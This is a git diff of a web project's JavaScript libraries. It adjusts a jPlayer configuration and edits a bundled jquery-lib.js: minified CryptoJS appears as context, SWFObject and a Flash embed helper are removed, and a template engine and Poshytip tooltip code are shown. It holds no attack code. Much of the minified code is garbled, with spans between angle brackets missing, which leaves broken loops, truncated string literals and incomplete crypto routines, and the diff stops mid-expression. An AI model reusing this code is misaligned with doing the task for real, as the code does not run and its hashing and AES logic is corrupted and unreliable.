"flv,webma,webmv,oga,ogv,m4v,mp3,wav,rtmpa,rtmpv", solution: "html,flash", - wmode:"window", + wmode:"transparent", volume:0.8, autoBlur: true, autohide:{ @@ -103,6 +103,7 @@ var jPlayerConfigInit = function($player,config){ } } }; + $.extend(playerConfig,config); return playerConfig; } diff --git a/static/js/lib/jquery-lib.js b/static/js/lib/jquery-lib.js index 4266e06..22302dd 100755 --- a/static/js/lib/jquery-lib.js +++ b/static/js/lib/jquery-lib.js @@ -34,17 +34,6 @@ code.google.com/p/crypto-js/wiki/License */ var CryptoJS=CryptoJS||function(u,p){var d={},l=d.lib={},s=function(){},t=l.Base={extend:function(a){s.prototype=this;var c=new s;a&&c.mixIn(a);c.hasOwnProperty("init")||(c.init=function(){c.$super.init.apply(this,arguments)});c.init.prototype=c;c.$super=this;return c},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var c in a)a.hasOwnProperty(c)&&(this[c]=a[c]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}},r=l.WordArray=t.extend({init:function(a,c){a=this.words=a||[];this.sigBytes=c!=p?c:4*a.length},toString:function(a){return(a||v).stringify(this)},concat:function(a){var c=this.words,e=a.words,j=this.sigBytes;a=a.sigBytes;this.clamp();if(j%4)for(var k=0;k>>2]|=(e[k>>>2]>>>24-8*(k%4)&255)<<24-8*((j+k)%4);else if(65535>>2]=e[k>>>2];else c.push.apply(c,e);this.sigBytes+=a;return this},clamp:function(){var a=this.words,c=this.sigBytes;a[c>>>2]&=4294967295<<32-8*(c%4);a.length=u.ceil(c/4)},clone:function(){var a=t.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var c=[],e=0;e>>2]>>>24-8*(j%4)&255;e.push((k>>>4).toString(16));e.push((k&15).toString(16))}return e.join("")},parse:function(a){for(var c=a.length,e=[],j=0;j>>3]|=parseInt(a.substr(j,2),16)<<24-4*(j%8);return new r.init(e,c/2)}},b=w.Latin1={stringify:function(a){var c=a.words;a=a.sigBytes;for(var e=[],j=0;j>>2]>>>24-8*(j%4)&255));return e.join("")},parse:function(a){for(var c=a.length,e=[],j=0;j>>2]|=(a.charCodeAt(j)&255)<<24-8*(j%4);return new r.init(e,c)}},x=w.Utf8={stringify:function(a){try{return decodeURIComponent(escape(b.stringify(a)))}catch(c){throw Error("Malformed UTF-8 data");}},parse:function(a){return b.parse(unescape(encodeURIComponent(a)))}},q=l.BufferedBlockAlgorithm=t.extend({reset:function(){this._data=new r.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=x.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var c=this._data,e=c.words,j=c.sigBytes,k=this.blockSize,b=j/(4*k),b=a?u.ceil(b):u.max((b|0)-this._minBufferSize,0);a=b*k;j=u.min(4*a,j);if(a){for(var q=0;q>>2]>>>24-8*(r%4)&255)<<16|(l[r+1>>>2]>>>24-8*((r+1)%4)&255)<<8|l[r+2>>>2]>>>24-8*((r+2)%4)&255,v=0;4>v&&r+0.75*v>>6*(3-v)&63));if(l=t.charAt(64))for(;d.length%4;)d.push(l);return d.join("")},parse:function(d){var l=d.length,s=this._map,t=s.charAt(64);t&&(t=d.indexOf(t),-1!=t&&(l=t));for(var t=[],r=0,w=0;w>>6-2*(w%4);t[r>>>2]|=(v|b)<<24-8*(r%4);r++}return p.create(t,r)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="}})();(function(u){function p(b,n,a,c,e,j,k){b=b+(n&a|~n&c)+e+k;return(b<>>32-j)+n}function d(b,n,a,c,e,j,k){b=b+(n&c|a&~c)+e+k;return(b<>>32-j)+n}function l(b,n,a,c,e,j,k){b=b+(n^a^c)+e+k;return(b<>>32-j)+n}function s(b,n,a,c,e,j,k){b=b+(a^(n|~c))+e+k;return(b<>>32-j)+n}for(var t=CryptoJS,r=t.lib,w=r.WordArray,v=r.Hasher,r=t.algo,b=[],x=0;64>x;x++)b[x]=4294967296*u.abs(u.sin(x+1))|0;r=r.MD5=v.extend({_doReset:function(){this._hash=new w.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(q,n){for(var a=0;16>a;a++){var c=n+a,e=q[c];q[c]=(e<<8|e>>>24)&16711935|(e<<24|e>>>8)&4278255360}var a=this._hash.words,c=q[n+0],e=q[n+1],j=q[n+2],k=q[n+3],z=q[n+4],r=q[n+5],t=q[n+6],w=q[n+7],v=q[n+8],A=q[n+9],B=q[n+10],C=q[n+11],u=q[n+12],D=q[n+13],E=q[n+14],x=q[n+15],f=a[0],m=a[1],g=a[2],h=a[3],f=p(f,m,g,h,c,7,b[0]),h=p(h,f,m,g,e,12,b[1]),g=p(g,h,f,m,j,17,b[2]),m=p(m,g,h,f,k,22,b[3]),f=p(f,m,g,h,z,7,b[4]),h=p(h,f,m,g,r,12,b[5]),g=p(g,h,f,m,t,17,b[6]),m=p(m,g,h,f,w,22,b[7]),f=p(f,m,g,h,v,7,b[8]),h=p(h,f,m,g,A,12,b[9]),g=p(g,h,f,m,B,17,b[10]),m=p(m,g,h,f,C,22,b[11]),f=p(f,m,g,h,u,7,b[12]),h=p(h,f,m,g,D,12,b[13]),g=p(g,h,f,m,E,17,b[14]),m=p(m,g,h,f,x,22,b[15]),f=d(f,m,g,h,e,5,b[16]),h=d(h,f,m,g,t,9,b[17]),g=d(g,h,f,m,C,14,b[18]),m=d(m,g,h,f,c,20,b[19]),f=d(f,m,g,h,r,5,b[20]),h=d(h,f,m,g,B,9,b[21]),g=d(g,h,f,m,x,14,b[22]),m=d(m,g,h,f,z,20,b[23]),f=d(f,m,g,h,A,5,b[24]),h=d(h,f,m,g,E,9,b[25]),g=d(g,h,f,m,k,14,b[26]),m=d(m,g,h,f,v,20,b[27]),f=d(f,m,g,h,D,5,b[28]),h=d(h,f,m,g,j,9,b[29]),g=d(g,h,f,m,w,14,b[30]),m=d(m,g,h,f,u,20,b[31]),f=l(f,m,g,h,r,4,b[32]),h=l(h,f,m,g,v,11,b[33]),g=l(g,h,f,m,C,16,b[34]),m=l(m,g,h,f,E,23,b[35]),f=l(f,m,g,h,e,4,b[36]),h=l(h,f,m,g,z,11,b[37]),g=l(g,h,f,m,w,16,b[38]),m=l(m,g,h,f,B,23,b[39]),f=l(f,m,g,h,D,4,b[40]),h=l(h,f,m,g,c,11,b[41]),g=l(g,h,f,m,k,16,b[42]),m=l(m,g,h,f,t,23,b[43]),f=l(f,m,g,h,A,4,b[44]),h=l(h,f,m,g,u,11,b[45]),g=l(g,h,f,m,x,16,b[46]),m=l(m,g,h,f,j,23,b[47]),f=s(f,m,g,h,c,6,b[48]),h=s(h,f,m,g,w,10,b[49]),g=s(g,h,f,m,E,15,b[50]),m=s(m,g,h,f,r,21,b[51]),f=s(f,m,g,h,u,6,b[52]),h=s(h,f,m,g,k,10,b[53]),g=s(g,h,f,m,B,15,b[54]),m=s(m,g,h,f,e,21,b[55]),f=s(f,m,g,h,v,6,b[56]),h=s(h,f,m,g,x,10,b[57]),g=s(g,h,f,m,t,15,b[58]),m=s(m,g,h,f,D,21,b[59]),f=s(f,m,g,h,z,6,b[60]),h=s(h,f,m,g,C,10,b[61]),g=s(g,h,f,m,j,15,b[62]),m=s(m,g,h,f,A,21,b[63]);a[0]=a[0]+f|0;a[1]=a[1]+m|0;a[2]=a[2]+g|0;a[3]=a[3]+h|0},_doFinalize:function(){var b=this._data,n=b.words,a=8*this._nDataBytes,c=8*b.sigBytes;n[c>>>5]|=128<<24-c%32;var e=u.floor(a/4294967296);n[(c+64>>>9<<4)+15]=(e<<8|e>>>24)&16711935|(e<<24|e>>>8)&4278255360;n[(c+64>>>9<<4)+14]=(a<<8|a>>>24)&16711935|(a<<24|a>>>8)&4278255360;b.sigBytes=4*(n.length+1);this._process();b=this._hash;n=b.words;for(a=0;4>a;a++)c=n[a],n[a]=(c<<8|c>>>24)&16711935|(c<<24|c>>>8)&4278255360;return b},clone:function(){var b=v.clone.call(this);b._hash=this._hash.clone();return b}});t.MD5=v._createHelper(r);t.HmacMD5=v._createHmacHelper(r)})(Math);(function(){var u=CryptoJS,p=u.lib,d=p.Base,l=p.WordArray,p=u.algo,s=p.EvpKDF=d.extend({cfg:d.extend({keySize:4,hasher:p.MD5,iterations:1}),init:function(d){this.cfg=this.cfg.extend(d)},compute:function(d,r){for(var p=this.cfg,s=p.hasher.create(),b=l.create(),u=b.words,q=p.keySize,p=p.iterations;u.length>>2]&255}};d.BlockCipher=v.extend({cfg:v.cfg.extend({mode:b,padding:q}),reset:function(){v.reset.call(this);var a=this.cfg,b=a.iv,a=a.mode;if(this._xformMode==this._ENC_XFORM_MODE)var c=a.createEncryptor;else c=a.createDecryptor,this._minBufferSize=1;this._mode=c.call(a,this,b&&b.words)},_doProcessBlock:function(a,b){this._mode.processBlock(a,b)},_doFinalize:function(){var a=this.cfg.padding;if(this._xformMode==this._ENC_XFORM_MODE){a.pad(this._data,this.blockSize);var b=this._process(!0)}else b=this._process(!0),a.unpad(b);return b},blockSize:4});var n=d.CipherParams=l.extend({init:function(a){this.mixIn(a)},toString:function(a){return(a||this.formatter).stringify(this)}}),b=(p.format={}).OpenSSL={stringify:function(a){var b=a.ciphertext;a=a.salt;return(a?s.create([1398893684,1701076831]).concat(a).concat(b):b).toString(r)},parse:function(a){a=r.parse(a);var b=a.words;if(1398893684==b[0]&&1701076831==b[1]){var c=s.create(b.slice(2,4));b.splice(0,4);a.sigBytes-=16}return n.create({ciphertext:a,salt:c})}},a=d.SerializableCipher=l.extend({cfg:l.extend({format:b}),encrypt:function(a,b,c,d){d=this.cfg.extend(d);var l=a.createEncryptor(c,d);b=l.finalize(b);l=l.cfg;return n.create({ciphertext:b,key:c,iv:l.iv,algorithm:a,mode:l.mode,padding:l.padding,blockSize:a.blockSize,formatter:d.format})},decrypt:function(a,b,c,d){d=this.cfg.extend(d);b=this._parse(b,d.format);return a.createDecryptor(c,d).finalize(b.ciphertext)},_parse:function(a,b){return"string"==typeof a?b.parse(a,this):a}}),p=(p.kdf={}).OpenSSL={execute:function(a,b,c,d){d||(d=s.random(8));a=w.create({keySize:b+c}).compute(a,d);c=s.create(a.words.slice(b),4*c);a.sigBytes=4*b;return n.create({key:a,iv:c,salt:d})}},c=d.PasswordBasedCipher=a.extend({cfg:a.cfg.extend({kdf:p}),encrypt:function(b,c,d,l){l=this.cfg.extend(l);d=l.kdf.execute(d,b.keySize,b.ivSize);l.iv=d.iv;b=a.encrypt.call(this,b,c,d.key,l);b.mixIn(d);return b},decrypt:function(b,c,d,l){l=this.cfg.extend(l);c=this._parse(c,l.format);d=l.kdf.execute(d,b.keySize,b.ivSize,c.salt);l.iv=d.iv;return a.decrypt.call(this,b,c,d.key,l)}})}();(function(){for(var u=CryptoJS,p=u.lib.BlockCipher,d=u.algo,l=[],s=[],t=[],r=[],w=[],v=[],b=[],x=[],q=[],n=[],a=[],c=0;256>c;c++)a[c]=128>c?c<<1:c<<1^283;for(var e=0,j=0,c=0;256>c;c++){var k=j^j<<1^j<<2^j<<3^j<<4,k=k>>>8^k&255^99;l[e]=k;s[k]=e;var z=a[e],F=a[z],G=a[F],y=257*a[k]^16843008*k;t[e]=y<<24|y>>>8;r[e]=y<<16|y>>>16;w[e]=y<<8|y>>>24;v[e]=y;y=16843009*G^65537*F^257*z^16843008*e;b[k]=y<<24|y>>>8;x[k]=y<<16|y>>>16;q[k]=y<<8|y>>>24;n[k]=y;e?(e=z^a[a[a[G^z]]],j^=a[a[j]]):e=j=1}var H=[0,1,2,4,8,16,32,64,128,27,54],d=d.AES=p.extend({_doReset:function(){for(var a=this._key,c=a.words,d=a.sigBytes/4,a=4*((this._nRounds=d+6)+1),e=this._keySchedule=[],j=0;j>>24]<<24|l[k>>>16&255]<<16|l[k>>>8&255]<<8|l[k&255]):(k=k<<8|k>>>24,k=l[k>>>24]<<24|l[k>>>16&255]<<16|l[k>>>8&255]<<8|l[k&255],k^=H[j/d|0]<<24);e[j]=e[j-d]^k}c=this._invKeySchedule=[];for(d=0;dd||4>=j?k:b[l[k>>>24]]^x[l[k>>>16&255]]^q[l[k>>>8&255]]^n[l[k&255]]},encryptBlock:function(a,b){this._doCryptBlock(a,b,this._keySchedule,t,r,w,v,l)},decryptBlock:function(a,c){var d=a[c+1];a[c+1]=a[c+3];a[c+3]=d;this._doCryptBlock(a,c,this._invKeySchedule,b,x,q,n,s);d=a[c+1];a[c+1]=a[c+3];a[c+3]=d},_doCryptBlock:function(a,b,c,d,e,j,l,f){for(var m=this._nRounds,g=a[b]^c[0],h=a[b+1]^c[1],k=a[b+2]^c[2],n=a[b+3]^c[3],p=4,r=1;r>>24]^e[h>>>16&255]^j[k>>>8&255]^l[n&255]^c[p++],s=d[h>>>24]^e[k>>>16&255]^j[n>>>8&255]^l[g&255]^c[p++],t=d[k>>>24]^e[n>>>16&255]^j[g>>>8&255]^l[h&255]^c[p++],n=d[n>>>24]^e[g>>>16&255]^j[h>>>8&255]^l[k&255]^c[p++],g=q,h=s,k=t;q=(f[g>>>24]<<24|f[h>>>16&255]<<16|f[k>>>8&255]<<8|f[n&255])^c[p++];s=(f[h>>>24]<<24|f[k>>>16&255]<<16|f[n>>>8&255]<<8|f[g&255])^c[p++];t=(f[k>>>24]<<24|f[n>>>16&255]<<16|f[g>>>8&255]<<8|f[h&255])^c[p++];n=(f[n>>>24]<<24|f[g>>>16&255]<<16|f[h>>>8&255]<<8|f[k&255])^c[p++];a[b]=q;a[b+1]=s;a[b+2]=t;a[b+3]=n},keySize:8});u.AES=p._createHelper(d)})(); - -/* - * CMP embed JavaScript - * http://bbs.cenfun.com/ - * 2, var htm = CMP.create(id, width, height, swf_url, flashvars, params, attrs); - * 3, var cmpo = CMP.get(id); - * 4, CMP.remove(id/cmpo); - */ -(function(a){typeof a.CMP=="undefined"&&(a.CMP=function(){var b=/msie/.test(navigator.userAgent.toLowerCase()),c=function(a,b){if(b&&typeof b=="object")for(var c in b)a[c]=b[c];return a},d=function(a,d,e,f,g,h,i){i=c({width:d,height:e,id:a},i),h=c({allowfullscreen:"true",allowscriptaccess:"always"},h);var j,k,l=[];if(g){j=g;if(typeof g=="object"){for(var m in g)l.push(m+"="+encodeURIComponent(g[m]));j=l.join("&")}h.flashvars=j}k="':">";for(m in h)k+='';return k+="",k},e=function(c){var d=document.getElementById(c);if(!d||d.nodeName.toLowerCase()!="object")d=b?a[c]:document[c];return d},f=function(a){if(a){for(var b in a)typeof a[b]=="function"&&(a[b]=null);a.parentNode.removeChild(a)}},g=function(a){if(a){var c=typeof a=="string"?e(a):a;if(c&&c.nodeName.toLowerCase()=="object")return b?(c.style.display="none",function(){c.readyState==4?f(c):setTimeout(arguments.callee,15)}()):c.parentNode.removeChild(c),!0}return!1};return{create:function(){return d.apply(this,arguments)},write:function(){var a=d.apply(this,arguments);return document.write(a),a},get:function(a){return e(a)},remove:function(a){return g(a)}}}());var b=function(b){b=b||a.event;var c=b.target||b.srcElement;if(c&&typeof c.cmp_version=="function"){var d=c.skin("list.tree","maxVerticalScrollPosition");if(d>0)return c.focus(),b.preventDefault&&b.preventDefault(),!1}};a.addEventListener&&a.addEventListener("DOMMouseScroll",b,!1),a.onmousewheel=document.onmousewheel=b})(window); - - /* * jQuery UI Position v1.10.0 * http://jqueryui.com @@ -64,14 +53,6 @@ var CryptoJS=CryptoJS||function(u,p){var d={},l=d.lib={},s=function(){},t=l.Base //修改兼容seajs;template=d 导出全局变量 !function(){function a(a){return a.replace(t,"").replace(u,",").replace(v,"").replace(w,"").replace(x,"").split(/^$|,+/)}function b(a){return"'"+a.replace(/('|\\)/g,"\\$1").replace(/\r/g,"\\r").replace(/\n/g,"\\n")+"'"}function c(c,d){function e(a){return m+=a.split(/\n/).length-1,k&&(a=a.replace(/\s+/g," ").replace(//g,"")),a&&(a=s[1]+b(a)+s[2]+"\n"),a}function f(b){var c=m;if(j?b=j(b,d):g&&(b=b.replace(/\n/g,function(){return m++,"$line="+m+";"})),0===b.indexOf("=")){var e=l&&!/^=[=#]/.test(b);if(b=b.replace(/^=[=#]?|[\s;]*$/g,""),e){var f=b.replace(/\s*\([^\)]+\)/,"");n[f]||/^(include|print)$/.test(f)||(b="$escape("+b+")")}else b="$string("+b+")";b=s[1]+b+s[2]}return g&&(b="$line="+c+";"+b),r(a(b),function(a){if(a&&!p[a]){var b;b="print"===a?u:"include"===a?v:n[a]?"$utils."+a:o[a]?"$helpers."+a:"$data."+a,w+=a+"="+b+",",p[a]=!0}}),b+"\n"}var g=d.debug,h=d.openTag,i=d.closeTag,j=d.parser,k=d.compress,l=d.escape,m=1,p={$data:1,$filename:1,$utils:1,$helpers:1,$out:1,$line:1},q="".trim,s=q?["$out='';","$out+=",";","$out"]:["$out=[];","$out.push(",");","$out.join('')"],t=q?"$out+=text;return $out;":"$out.push(text);",u="function(){var text=''.concat.apply('',arguments);"+t+"}",v="function(filename,data){data=data||$data;var text=$utils.$include(filename,data,$filename);"+t+"}",w="'use strict';var $utils=this,$helpers=$utils.$helpers,"+(g?"$line=0,":""),x=s[0],y="return new String("+s[3]+");";r(c.split(h),function(a){a=a.split(i);var b=a[0],c=a[1];1===a.length?x+=e(b):(x+=f(b),c&&(x+=e(c)))});var z=w+x+y;g&&(z="try{"+z+"}catch(e){throw {filename:$filename,name:'Render Error',message:e.message,line:$line,source:"+b(c)+".split(/\\n/)[$line-1].replace(/^\\s+/,'')};}");try{var A=new Function("$data","$filename",z);return A.prototype=n,A}catch(B){throw B.temp="function anonymous($data,$filename) {"+z+"}",B}}var d=function(a,b){return"string"==typeof b?q(b,{filename:a}):g(a,b)};d.version="3.0.0",d.config=function(a,b){e[a]=b};var e=d.defaults={openTag:"<%",closeTag:"%>",escape:!0,cache:!0,compress:!1,parser:null},f=d.cache={};d.render=function(a,b){return q(a,b)};var g=d.renderFile=function(a,b){var c=d.get(a)||p({filename:a,name:"Render Error",message:"Template not found"});return b?c(b):c};d.get=function(a){var b;if(f[a])b=f[a];else if("object"==typeof document){var c=document.getElementById(a);if(c){var d=(c.value||c.innerHTML).replace(/^\s*|\s*$/g,"");b=q(d,{filename:a})}}return b};var h=function(a,b){return"string"!=typeof a&&(b=typeof a,"number"===b?a+="":a="function"===b?h(a.call(a)):""),a},i={"<":"<",">":">",'"':""","'":"'","&":"&"},j=function(a){return i[a]},k=function(a){return h(a).replace(/&(?![\w#]+;)|[<>"']/g,j)},l=Array.isArray||function(a){return"[object Array]"==={}.toString.call(a)},m=function(a,b){var c,d;if(l(a))for(c=0,d=a.length;d>c;c++)b.call(a,a[c],c,a);else for(c in a)b.call(a,a[c],c)},n=d.utils={$helpers:{},$include:g,$string:h,$escape:k,$each:m};d.helper=function(a,b){o[a]=b};var o=d.helpers=n.$helpers;d.onerror=function(a){var b="Template Error\n\n";for(var c in a)b+="<"+c+">\n"+a[c]+"\n\n";"object"==typeof console&&console.error(b)};var p=function(a){return d.onerror(a),function(){return"{Template Error}"}},q=d.compile=function(a,b){function d(c){try{return new i(c,h)+""}catch(d){return b.debug?p(d)():(b.debug=!0,q(a,b)(c))}}b=b||{};for(var g in e)void 0===b[g]&&(b[g]=e[g]);var h=b.filename;try{var i=c(a,b)}catch(j){return j.filename=h||"anonymous",j.name="Syntax Error",p(j)}return d.prototype=i.prototype,d.toString=function(){return i.toString()},h&&b.cache&&(f[h]=d),d},r=n.$each,s="break,case,catch,continue,debugger,default,delete,do,else,false,finally,for,function,if,in,instanceof,new,null,return,switch,this,throw,true,try,typeof,var,void,while,with,abstract,boolean,byte,char,class,const,double,enum,export,extends,final,float,goto,implements,import,int,interface,long,native,package,private,protected,public,short,static,super,synchronized,throws,transient,volatile,arguments,let,yield,undefined",t=/\/\*[\w\W]*?\*\/|\/\/[^\n]*\n|\/\/[^\n]*$|"(?:[^"\\]|\\[\w\W])*"|'(?:[^'\\]|\\[\w\W])*'|\s*\.\s*[$\w\.]+/g,u=/[^\w$]+/g,v=new RegExp(["\\b"+s.replace(/,/g,"\\b|\\b")+"\\b"].join("|"),"g"),w=/^\d[^,]*|,\d[^,]*/g,x=/^,+|,+$/g;e.openTag="{{",e.closeTag="}}";var y=function(a,b){var c=b.split(":"),d=c.shift(),e=c.join(":")||"";return e&&(e=", "+e),"$helpers."+d+"("+a+e+")"};e.parser=function(a,b){a=a.replace(/^\s/,"");var c=a.split(" "),e=c.shift(),f=c.join(" ");switch(e){case"if":a="if("+f+"){";break;case"else":c="if"===c.shift()?" if("+c.join(" ")+")":"",a="}else"+c+"{";break;case"/if":a="}";break;case"each":var g=c[0]||"$data",h=c[1]||"as",i=c[2]||"$value",j=c[3]||"$index",k=i+","+j;"as"!==h&&(g="[]"),a="$each("+g+",function("+k+"){";break;case"/each":a="});";break;case"echo":a="print("+f+");";break;case"print":case"include":a=e+"("+c.join(",")+");";break;default:if(-1!==f.indexOf("|")){var l=b.escape;0===a.indexOf("#")&&(a=a.substr(1),l=!1);for(var m=0,n=a.split("|"),o=n.length,p=l?"$escape":"$string",q=p+"("+n[m++]+")";o>m;m++)q=y(q,n[m]);a="=#"+q}else a=d.helpers[e]?"=#"+e+"("+c.join(",")+");":"="+a}return a},template=d,"function"==typeof define?define(function(){return d}):"undefined"!=typeof exports?module.exports=d:this.template=d}(); -/** - * SWFObject v2.2 - * http://code.google.com/p/swfobject/ - * swfobject.embedSWF("test.swf", "myContent", "300", "120", "9.0.0", "expressInstall.swf"); - */ -var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y0){for(var af=0;af0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad'}}aa.outerHTML='"+af+"";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab', + '
        ', + '
        ', + '
        '].join('')).appendTo(document.body); + this.$arrow = this.$tip.find('div.tip-arrow'); + this.$inner = this.$tip.find('div.tip-inner'); + this.disabled = false; + this.content = null; + this.init(); + }; + + var timeFloat = function(){ + var time = (new Date()).valueOf(); + return time/1000; + } + + $.Poshytip.prototype = { + init: function() { + tips.push(this); + + // save the original title and a reference to the Poshytip object + var title = this.$elm.attr('title'); + this.$elm.data('title.poshytip', title !== undefined ? title : null) + .data('poshytip', this); + + // hook element events + if (this.opts.showOn != 'none') { + this.$elm.bind({ + 'mouseenter.poshytip': $.proxy(this.mouseenter, this), + 'mouseleave.poshytip': $.proxy(this.mouseleave, this) + }); + switch (this.opts.showOn) { + case 'hover': + if (this.opts.alignTo == 'cursor') + this.$elm.bind('mousemove.poshytip', $.proxy(this.mousemove, this)); + if (this.opts.allowTipHover) + this.$tip.hover($.proxy(this.clearTimeouts, this), $.proxy(this.mouseleave, this)); + break; + case 'focus': + this.$elm.bind({ + 'focus.poshytip': $.proxy(this.showDelayed, this), + 'blur.poshytip': $.proxy(this.hideDelayed, this) + }); + break; + } + } + }, + mouseenter: function(e) { + if (this.disabled) + return true; + + this.$elm.attr('title', ''); + if (this.opts.showOn == 'focus') + return true; + + this.showDelayed(); + }, + mouseleave: function(e) { + if (this.disabled || this.asyncAnimating && (this.$tip[0] === e.relatedTarget || jQuery.contains(this.$tip[0], e.relatedTarget))) + return true; + + if (!this.$tip.data('active')) { + var title = this.$elm.data('title.poshytip'); + if (title !== null) + this.$elm.attr('title', title); + } + if (this.opts.showOn == 'focus') + return true; + + this.hideDelayed(); + }, + mousemove: function(e) { + if (this.disabled) + return true; + + this.eventX = e.pageX; + this.eventY = e.pageY; + if (this.opts.followCursor && this.$tip.data('active')) { + this.calcPos(); + this.$tip.css({left: this.pos.l, top: this.pos.t}); + if (this.pos.arrow) + this.$arrow[0].className = 'tip-arrow tip-arrow-' + this.pos.arrow; + } + }, + show: function() { + if (this.disabled || this.$tip.data('active')) + return; + //add by warlee + $("."+this.opts.className).remove(); + + this.reset(); + this.update(); + + // don't proceed if we didn't get any content in update() (e.g. the element has an empty title attribute) + if (!this.content) + return; + + this.display(); + if (this.opts.timeOnScreen) + this.hideDelayed(this.opts.timeOnScreen); + }, + showDelayed: function(timeout) { + this.clearTimeouts(); + + //add by warlee + var timeout = this.opts.showTimeout; + if(typeof this.opts.showTimeout == "function"){ + timeout = this.opts.showTimeout.call(this.$elm[0]); + } + + //change by warlee + if(typeof $.fn.poshytip.lastHide != 'number'){ + $.fn.poshytip.lastHide = 0; + } + if( this.opts.hoverClearDelay>0 && + $.fn.poshytip.lastHide && + timeFloat() - 